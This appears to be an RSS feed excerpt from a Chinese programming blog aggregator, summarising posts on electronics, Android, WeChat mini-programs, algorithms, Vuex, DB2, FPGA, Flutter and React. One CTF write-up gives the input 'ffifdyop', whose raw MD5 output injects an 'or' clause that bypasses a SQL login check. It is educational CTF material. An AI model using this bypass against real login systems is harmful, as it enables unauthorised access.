      <description>前言： 为了方便查看博客，特意申请了一个公众号，附上二维码，有兴趣的朋友可以关注，和我一起讨论学习，一起享受技术，一起成长。&#xA;1. 定义 静电放电（Electrostatic Discharge，ESD）:是指具有不同静电电位的物体互相靠近或直接接触引起的电荷转移。当带了静电荷的物体（也就是静电源）跟其它物体接触时，这两个具有不同静电电位的物体依据电荷中和的原则，存在着电荷流动，传送足够的电量以抵消电压。这个电量在传送过程中，将产生具有潜在破坏作用的电压、电流以及电磁场，严重时会将物体击毁。&#xA;2. 特点 2.1 ESD 可形成高电位、强电场、瞬时大电流 大多数情况下 ESD 过程往往会产生瞬时脉冲大电流，尤其是带电导体或手持小金属物体的带电人体对接地导体产生火花放电时，产生的瞬时脉冲电流的强度可达到几十安培甚至上百安培。&#xA;ESD 电流产生的电磁场可以直接穿透设备外壳，或通过孔洞、缝隙、输入输出等耦合到敏感电路，如图 所示：&#xA;2.2 ESD 过程会产生强烈的电磁脉冲辐射 在 ESD 过程中会产生上升时间极快、持续时间极短的初始大电流脉冲，并产生强烈的电磁辐射形成静电放电电磁脉冲（ESD Electromagnetic Pulse－ESD EMP），它的电磁能量往往会引起电子系统中敏感部件的损坏、翻转，使某些装置中的易爆品误爆，造成事故。&#xA;3. 危害 ESD 对电子设备的危害主要有两种机理，其一是 ESD 电流直接流过电路造成破坏，另一种是 ESD 电流产生的电磁场通过近场的电容耦合、电感耦合或远场的空间辐射耦合等途径对电路造成干扰。&#xA;ESD 可能引起易燃易爆物的起火或爆炸，也可能导致半导体器件和集成电路的击穿或失效。随着微电子技术的快速发展，特别是随着集成电路结构尺寸的减小以及 MOS 集成电路的广泛使用，静电危害已成为微电子器件的重要破坏源。静电防护问题越来越被关注，而 ESD 的防护领域也日渐广泛。&#xA;4. 三种模型 3.1 HBM：Human Body Model，人体模型： 该模型表征人体带电接触器件放电（人体摩擦产生了电荷突然碰到芯片释放的电荷导致芯片烧毁击穿），Rb 为等效人体电阻，Cb 为等效人体电容。等效电路如下图，同时给出了器件 HBM 模型的 ESD 等级。&#xA;下图为人体 ESD 的等效电路。人体能储存一定的静电电量，因此人体明显地存在电容效应。人体也有电阻，其值依赖于人体肌肉的弹性、水分和接触电阻等因数。电荷转移路径中还存在电感。目前广泛使用的人体模型测试电路中人体等效电阻和电容分别为1500Ω 和 100pF。&#xA;从电磁兼容的角度来看，ESD 最重要的指标是电流波形特性。来自人体的 ESD 的典型波形如下图所示。测量结果表明，ESD 波形具有很短的上升时间（&amp;lt;1ns）和很高的起始尖峰。起始尖峰是从手/前臂组合体经由低电感通路放电的结果，电流峰值越大，且人体接近速度越快，脉冲上升斜率越陡。另一方面，人体放电会产生时间长得多的脉冲（其它部位放电结果），持续时间可到数十微秒。因此，这两种波形组合就反映了包含人体在内的 ESD 特性。&#xA;3.2 带电器件模型 由于器件本身积累静电而迅速放电造成对电子元器件的损坏，带电器件模型是基于已带静电的器件通过管脚对地放电引起器件失效而建立的。&#xA;该模型电路对地放电时，得到的放电电流波形为迅速衰减的正弦波。带电器件有几个管脚同时与地接触时，就有几个放电通路，图中分别用不同的 Ri 、Li 、Ci 表示。器件放电时的脉冲峰值功率较高，可达几百瓦到几兆瓦，这么大的功率也会改变器件的参数，或使硅熔化造成器件的失效。对于多器件并联的放电通道模型，当有一个管脚接地时，器件的每条路径都有自己的放电特性，从而在路径之间产生电位差，严重时可以导致路径之间的绝缘击穿。</description>
    </item>
    <item>
      <title>简单屏蔽广告</title>
      <link>https://bchobby.github.io/posts/b4db91e7279fa7eca4383961daaee3b3/</link>
      <pubDate>Mon, 29 Oct 2018 10:16:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4db91e7279fa7eca4383961daaee3b3/</guid>
      <description>网络广告真真真的很烦人。 特别是一些网站毫无底线，页面70%的内容都是广告！！！&#xA;认证分析发现，大部分广告都是百度，cnzz,google等企业发出来的。 网站原生的广告系统往往比较规矩，还可以接受。屏蔽百度，google等大厂的广告服务器，就可以避免大部分的广告，并且对网页功能影响很小。&#xA;下面为搜集的广告服务器地址，主要屏蔽跨站js文件。放在路由器的静态路由表上，可以让整个局域网干净无广告。 放在windows的C:\Windows\System32\drivers\etc上可以避免本机的广告干扰。&#xA;持续更新，欢迎留言反映各种广告服务器。&#xA;# Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space.</description>
    </item>
    <item>
      <title>Android Studio 出现“Cannot resolve symbol” 解决办法</title>
      <link>https://bchobby.github.io/posts/7c4ca9f625877e974c47c16b4975f3fb/</link>
      <pubDate>Sat, 27 Oct 2018 16:03:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c4ca9f625877e974c47c16b4975f3fb/</guid>
      <description>(一) Android Studio 无法识别同一个 package 里的其他类，将其显示为红色，但是 compile 没有问题。鼠标放上去后显示 “Cannot resolve symbol XXX”，重启 Android Studio，重新 sync gradle，Clean build 都没有用。&#xA;多半是因为 Android Studio 之前发生了错误，某些 setting 出了问题。解决方法如下：&#xA;点击菜单中的 “File” -&amp;gt; “Invalidate Caches / Restart”，然后点击对话框中的 “Invalidate and Restart”，清空 cache 并且重启。语法就会正确的高亮了。&#xA;（二） 因要用到，所以最近学了点Android开发，用的编译器是亲儿子，也是新生儿 Android Studio。&#xA;今天在调试的时候，Android Studio 报了一个莫名其妙的错误Cannot resolve symbol ‘R’让人不知所措。因为这东西根本不归我管啊，怎么会出现 Cannot resolve symbol 这种错误呢？&#xA;谷歌了一下，找到解决方法如下：&#xA;Build -&amp;gt; Clean Project Tools -&amp;gt; Android -&amp;gt; Sync Project With Gradle Files 不行就多试几次！就好了！&#xA;真正解决方案：Cannot resolve symbol &#39;xxx&#39; (Android Studio 3.</description>
    </item>
    <item>
      <title>微信小程序iconfont的图标引入</title>
      <link>https://bchobby.github.io/posts/26b3ef436282de567af323ffca0dd95a/</link>
      <pubDate>Sat, 27 Oct 2018 15:16:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26b3ef436282de567af323ffca0dd95a/</guid>
      <description>微信小程序中的想要引入字体样式的时候是不支持的，那么我们有时候却需要这个功能所以接下来去介绍一下怎么去引入iconfont的图标库。&#xA;1.打开iconfont http://www.iconfont.cn/&#xA;2.新建个项目，当然我这里已经新建完了。&#xA;3.选择你需要的图标添加到购物车。&#xA;4.点击右上角的购物车，把这个图标添加到你的项目中。&#xA;5.打开你的项目。&#xA;6.点击下载到本地&#xA;7.在你小程序的目录下创建iconfont文件夹，并将你下载的文件放到里面，解压&#xA;8.打开这个文件夹&#xA;@font-face {font-family: &#34;iconfont&#34;; src: url(&#39;iconfont.eot?t=1540623498736&#39;); /* IE9*/ src: url(&#39;iconfont.eot?t=1540623498736#iefix&#39;) format(&#39;embedded-opentype&#39;), /* IE6-IE8 */ url(&#39;data:application/x-font-woff;charset=utf-8;base64,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&#39;) format(&#39;woff&#39;), url(&#39;iconfont.ttf?t=1540623498736&#39;) format(&#39;truetype&#39;), /* chrome, firefox, opera, Safari, Android, iOS 4.2+*/ url(&#39;iconfont.svg?t=1540623498736#iconfont&#39;) format(&#39;svg&#39;); /* iOS 4.1- */ } .iconfont { font-family:&#34;iconfont&#34; !important; font-size:16px; font-style:normal; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .icon-bianji:before { content: &#34;\e671&#34;; } 9.在你的微信小程序中新建一个iconfont.wxss的文件夹将代码复制进去。&#xA;10.引入你的这个样式&#xA;11.添加这个类样式就显示出来了&#xA;结语：这样引入样式就结束了，希望能给小伙伴们带来一丝帮助</description>
    </item>
    <item>
      <title>Wannafly27 C	蓝魔法师 树形DP</title>
      <link>https://bchobby.github.io/posts/0583310e9f0c077d197e8a10533d3947/</link>
      <pubDate>Sat, 27 Oct 2018 09:06:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0583310e9f0c077d197e8a10533d3947/</guid>
      <description>Wannafly27 C 蓝魔法师&#xA;给定一棵树，删除一些边，使每个连通块不超过k个节点&#xA;表示第i个节点的子树对其父节点提供j个连通量的方案数&#xA;#include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; const int MAX=2e3+5; const int MOD=998244353; int n,K; struct P { int to,nxt; }e[MAX&amp;lt;&amp;lt;1]; int head[MAX],sz[MAX],tot,dp[MAX][MAX],tmp[MAX]; void init() { memset(head,-1,sizeof(head)); tot=0; } void adde(int u,int v) { e[tot].to=v; e[tot].nxt=head[u]; head[u]=tot++; } int add(int x,int y){return (x+=y)&amp;gt;=MOD?x-MOD:x;} int sub(int x,int y){return (x-=y)&amp;lt;0?x+MOD:x;} int mul(int x,int y){return 1ll*x*y%MOD;} void dfs(int u,int fa) { sz[u]=dp[u][1]=1; for(int i=head[u];~i;i=e[i].nxt) { int to=e[i].to; if(to==fa) continue; dfs(to,u); for(int i=0;i&amp;lt;=K;++i) tmp[i]=dp[u][i],dp[u][i]=0; for(int i=1;i&amp;lt;=sz[to];++i) dp[to][0]=add(dp[to][0],dp[to][i]); for(int i=0;i&amp;lt;=min(sz[to],K);++i) for(int j=1;j&amp;lt;=min(sz[u],K);++j)if(i+j&amp;lt;=K) dp[u][i+j]=add(dp[u][i+j],mul(tmp[j],dp[to][i])); sz[u]+=sz[to]; } } int main() { int x,y; while(~scanf(&#34;</description>
    </item>
    <item>
      <title>codeforce1073 C. Vasya and Robot 二分</title>
      <link>https://bchobby.github.io/posts/5a3fe28bbced1fee9d2889d784e940d6/</link>
      <pubDate>Fri, 26 Oct 2018 16:29:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a3fe28bbced1fee9d2889d784e940d6/</guid>
      <description>codeforce1073 C. Vasya and Robot&#xA;给定N个操作和一个终止点(x,y)求改变最小的区间操作区间R-L+1，使N个操作之后到达终止节点&#xA;二分区间长度mid，预处理区间位置偏移量，尺取每个长度为mid的区间（可以全都修改），若存在则扩大区间，否则缩小区间&#xA;#include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; const int MAX=2e5+5; int n; char s[MAX]; pair&amp;lt;int,int&amp;gt;a[MAX]; void add(int &amp;amp;x,int &amp;amp;y,char c) { if(c==&#39;U&#39;) ++y; else if(c==&#39;D&#39;) --y; else if(c==&#39;L&#39;) --x; else ++x; } int main() { int x,y; while(~scanf(&#34;%d&#34;,&amp;amp;n)) { scanf(&#34;%s&#34;,s+1); scanf(&#34;%d%d&#34;,&amp;amp;x,&amp;amp;y); if(abs(x)+abs(y)&amp;gt;n||(n-abs(x)-abs(y))%2) {printf(&#34;-1\n&#34;);continue;} a[0].first=0;a[0].second=0; for(int i=1;i&amp;lt;=n;++i) { a[i]=a[i-1]; add(a[i].first,a[i].second,s[i]); } int l=0,r=n,mid,xx,yy,ans=0; while(l&amp;lt;=r) { mid=(l+r)&amp;gt;&amp;gt;1; for(int i=1;i&amp;lt;=n-mid+1;++i) { int xx=a[n].first-a[i+mid-1].first+a[i-1].first,yy=a[n].second-a[i+mid-1].second+a[i-1].second; xx=x-xx;yy=y-yy; if(abs(xx)+abs(yy)&amp;gt;mid||(mid-abs(xx)-abs(yy))%2) {if(i==n-mid+1) l=mid+1;} else {r=mid-1;ans=mid;break;} } } printf(&#34;</description>
    </item>
    <item>
      <title>vuex namespaced的作用以及使用方式</title>
      <link>https://bchobby.github.io/posts/2e77bd84e3a74aba4af0934ccffe5b1c/</link>
      <pubDate>Fri, 26 Oct 2018 11:12:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e77bd84e3a74aba4af0934ccffe5b1c/</guid>
      <description>vuex中的store分模块管理，需要在store的index.js中引入各个模块，为了解决不同模块命名冲突的问题，将不同模块的namespaced:true，之后在不同页面中引入getter、actions、mutations时，需要加上所属的模块名&#xA;1、声明分模块的store时加上namespaced:true&#xA;// initial state const state = { userId:&#39;&#39;,//用户id userName:&#39;&#39;,//用户名称 token:&#39;&#39;,//token permission:&#39;&#39;//权限 } // getters const getters = { // 获取用户信息 getUserInfo(){ return state; } } // actions const actions = {} // mutations const mutations = { setUserInfo(state,payload) { console.log(&#34;payload:&#34;+payload); console.info(payload); state.userId = payload.userId; state.userName = payload.userName; state.token = payload.token; state.permission = payload.permission; } } export default { namespaced: true, state, getters, actions, mutations } 2、使用模块中的mutations、getters、actions时候，要加上模块名，例如使用commint执行mutations时&#xA;格式：模块名/模块中的mutations</description>
    </item>
    <item>
      <title>【Baidu Apollo】感知-基于单目摄像头的物体检测</title>
      <link>https://bchobby.github.io/posts/2a84e4cd21e6c5c89f02ed777845cb2e/</link>
      <pubDate>Fri, 26 Oct 2018 01:13:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a84e4cd21e6c5c89f02ed777845cb2e/</guid>
      <description>本文来自于Apollo开发者社群，作者是百度美研Apollo感知团队的资深软件架构师——陈光&#xA;1. 物体检测模型中的算法选择 物体检测（Object Detection）是无人车感知的核心问题，要求我们对不同的传感器（如图中覆盖不同观测范围FOV的无人车传感器）设计不同的算法，去准确检测出障碍物。例如在Apollo中，为3D点云而设计的的CNN-SEG深度学习算法，为2D图像而设计的YOLO-3D深度学习算法等。&#xA;物体检测要求实时准确的完成单帧的障碍物检测，并借助传感器内外参标定转换矩阵，将检测结果映射到统一的车身坐标系或世界坐标系中。准确率、召回率、算法时耗是物体检测的重要指标。本次分享只覆盖Apollo中基于单目摄像头的物体检测模块。&#xA;相关文献如下：&#xA;1. Object Detection with Discriminatively Trained Part Based Models. IEEE Trans. PAMI, 32(9):1627–1645, 2010.&#xA;2. Faster RCNN, ICCV 2015&#xA;3. SSD: Single Shot MultiBox Detector, ECCV 2016&#xA;4. yolo9000: Better, Faster, Stronger, CVPR 2017 5. Focal Loss for Dense Object Detection, ICCV 2017&#xA;在众多物体检测模型中，我们如何选择最合适的算法？尤其是以2-stage为代表的Faster-RCNN, RFCN 和以 single stage为代表的SSD、YOLO之中应该如何选择？CVPR 2017一篇来自谷歌的论文《Speed/Accuracy Trade-offs for Modern Convolutional Object Detectors》做了比较细致的比较和评测。它将物体检测神经网络拆解为主框架Meta-architecture和特征描述模块Feature Extractor。并选择了不同的组合方式，去验证模型的实效性和准确率。&#xA;如图所示，在 MS COCO数据集上，YOLO V2取得了实时速度下良好的检测准确率。Faster RCNN+重载的 Inception ResNet V2虽然取得了最好准确率，但是时耗过长。完全不能满足无人车对实时性的要求。基于这种理论分析和在百度自有数据集上的评测，我们最终选择了YOLO作为主框架，以改进的DarkNet作为特征描述模块（Feature Extractor)。</description>
    </item>
    <item>
      <title>实验吧后台登录</title>
      <link>https://bchobby.github.io/posts/56fa6bd43c35d3a802f9c3c3a916da55/</link>
      <pubDate>Thu, 25 Oct 2018 18:34:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56fa6bd43c35d3a802f9c3c3a916da55/</guid>
      <description>题目：http://www.shiyanbar.com/ctf/2036&#xA;源码中看见如下代码&#xA;先看php中md5这个函数&#xA;md5(string,raw)&#xA;参数描述string必需。要计算的字符串。raw 可选。&#xA;默认不写为FALSE。32位16进制的字符串TRUE。16位原始二进制格式的字符串 在看sql语句&#xA;所以只需要找到经过md5函数处理得到&#39;or&#39;xxxxx的字符串即可。题目提示ffifdyop.php。&#xA;ffifdyop经过md5函数处理后的到&#39;or&#39;6蒥欓!r,b；所以将ffidyop提交即可得到flag;</description>
    </item>
    <item>
      <title>DB2数据库联邦(跨库查询)</title>
      <link>https://bchobby.github.io/posts/d0ee34d14fb3436deee72429977b485a/</link>
      <pubDate>Thu, 25 Oct 2018 17:20:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0ee34d14fb3436deee72429977b485a/</guid>
      <description>实验目的 在本地数据库 sample 中直接查询远程数据库remoteDb的表：tab_test&#xA;1、查看数据库版本配置 – 本地数据库：sample&#xA;db2licm -l&#xA;产品名： “DB2 Express-C”&#xA;许可证类型： “无担保”&#xA;到期日期： “永久”&#xA;产品标识： “db2expc”&#xA;版本信息： “10.5”&#xA;最大 CPU 数目： “2”&#xA;最大内存量 (GB)： “16”&#xA;强制策略： “软停止”&#xA;– 远程数据库：remoteDb@192.168.1.102&#xA;db2licm -l&#xA;产品名： “DB2 Express-C”&#xA;许可证类型： “无担保”&#xA;到期日期： “永久”&#xA;产品标识： “db2expc”&#xA;版本信息： “9.7”&#xA;最大 CPU 数目： “2”&#xA;最大内存量（GB）： “2”&#xA;2、数据库编目 db2 catalog TCPIP node n_102 remote 192.168.1.102 server 50000&#xA;db2 catalog db remoteDb as remoteDb200 at node n_102</description>
    </item>
    <item>
      <title>Xlinx DSP 48E1（二）</title>
      <link>https://bchobby.github.io/posts/96b7e7c073b93e2da7b0379bf6c44b0d/</link>
      <pubDate>Thu, 25 Oct 2018 15:30:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96b7e7c073b93e2da7b0379bf6c44b0d/</guid>
      <description>chapter1 Overview 目录&#xA;chapter1 Overview&#xA;1.DSP48E1 Slice Overview&#xA;2.相对于上一代的特征&#xA;3.Device Resources&#xA;4.Design Recommendations 5.Stacked Silicon Interconnect&#xA;1.DSP48E1 Slice Overview FPGA对数字信号处理（DSP）应用非常有效，因为它们可以实现定制，以及完全并行算法。 DSP应用使用了许多二进制乘法器和累加器，而它们最好要在专用DSP Slice中实现。 所有7系列FPGA具有许多专用的、全定制的低功耗DSP Slice，结合了高速和小尺寸的特点，同时能保持系统设计灵活性。 DSP Slice还提高了除了数字信号处理以外的许多应用的速度和效率，例如宽动态总线移位器，存储器地址发生器，宽总线多路复用器和存储器映射I / O寄存器。 DSP48E1 Slice的基本功能如图1-1所示。 有关完整的详细信息，请参阅图2-1和第2章，DSP48E1描述和细节。 DSP功能的一些亮点（Highlights）包括： 25 × 18 two’s-complement multiplier（25×18二进制补码乘法器）: Dynamic bypass(动态旁路)&#xA;48-bit accumulator（48位累加器）: Can be used as a synchronous up/down counter(可以用作同步向上/向下计数器)&#xA;Power saving pre-adder（省电预加法器）: Optimizes symmetrical filter applications and reduces DSP slice requirements（优化对称滤波器应用并降低DSP Slice要求）&#xA;Single-instruction-multiple-data (SIMD) arithmetic unit（单指令多数据（SIMD）算术单元）: Dual 24-bit or quad 12-bit add/subtract/accumulate（双24位或四通道12位加/减/累加）</description>
    </item>
    <item>
      <title>Flutter ListView 列表点击和网页加载</title>
      <link>https://bchobby.github.io/posts/748ba58472f00f86cd37c4ce9baaacc9/</link>
      <pubDate>Thu, 25 Oct 2018 14:49:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/748ba58472f00f86cd37c4ce9baaacc9/</guid>
      <description>上一篇讲了使用ListView加载列表数据，本篇，我们讲下列表项的点击，因为本篇的例子点击后是加载一个网页，所以本篇也讲下类似于Android的WebView和iOS的UIWebView加载网页。效果如下：&#xA;item点击 在Android中，您可以通过调用方法setOnClickListener将OnClick绑定到按钮等view上.&#xA;在Flutter中，添加触摸监听器有两种方法:&#xA;具体可以查阅我之前的博客Flutter中的点击、拖动和其它手势&#xA;上篇博客中我们使用了Row、Column等Widget绘制了item,我们再在原来的Widget的外层包装个GestureDetector，添加手势，然后使用onTap处理点击，完整代码如下：&#xA;new GestureDetector( child: Padding( padding: new EdgeInsets.fromLTRB(10.0, 0.0, 10.0, 0.0), child: new Column( children: &amp;lt;Widget&amp;gt;[ new Row( crossAxisAlignment: CrossAxisAlignment.start, //纵向对齐方式：起始边对齐 mainAxisSize: MainAxisSize.max, children: &amp;lt;Widget&amp;gt;[ new Expanded( child: Container( height: 95.0, child: getImage(data.articleThumbnail), alignment: FractionalOffset.center, ), flex: 1, ), new Expanded( child: Container( height: 95.0, margin: new EdgeInsets.fromLTRB(5.0, 0.0, 0.0, 0.0), child: new Column( crossAxisAlignment: CrossAxisAlignment.start, children: &amp;lt;Widget&amp;gt;[ new Container( child: new Text( articleTitle, style: new TextStyle( fontSize: 20.</description>
    </item>
    <item>
      <title>React中，报错&#34;Cannot read property &#39;setState&#39; of undefined&#34;时，如何处理</title>
      <link>https://bchobby.github.io/posts/29bb1d8deb952220cbc68e26ef972420/</link>
      <pubDate>Wed, 24 Oct 2018 17:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29bb1d8deb952220cbc68e26ef972420/</guid>
      <description>2019独角兽企业重金招聘Python工程师标准&amp;gt;&amp;gt;&amp;gt; App.js import React, { Component } from &#39;react&#39;; import &#39;./App.css&#39;; class App extends Component { constructor(props){ super(props); this.state = { num: 90 } }; handleClick(){ this.setState({ num: this.state.num + 1 }) }; render() { return ( &amp;lt;div className=&#34;App&#34;&amp;gt; {this.state.num} &amp;lt;button onClick={this.handleClick}&amp;gt;点击&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; ); } } export default App; 我们把num初始值通过构造函数constructor保存在this.state里，之后我们给button按钮一个点击事件handleClick,&#xA;然后通过点击button按钮来更新num的初始值，当我们点击的时候，毫无疑问报错了“Cannot read property &#39;setState&#39; of 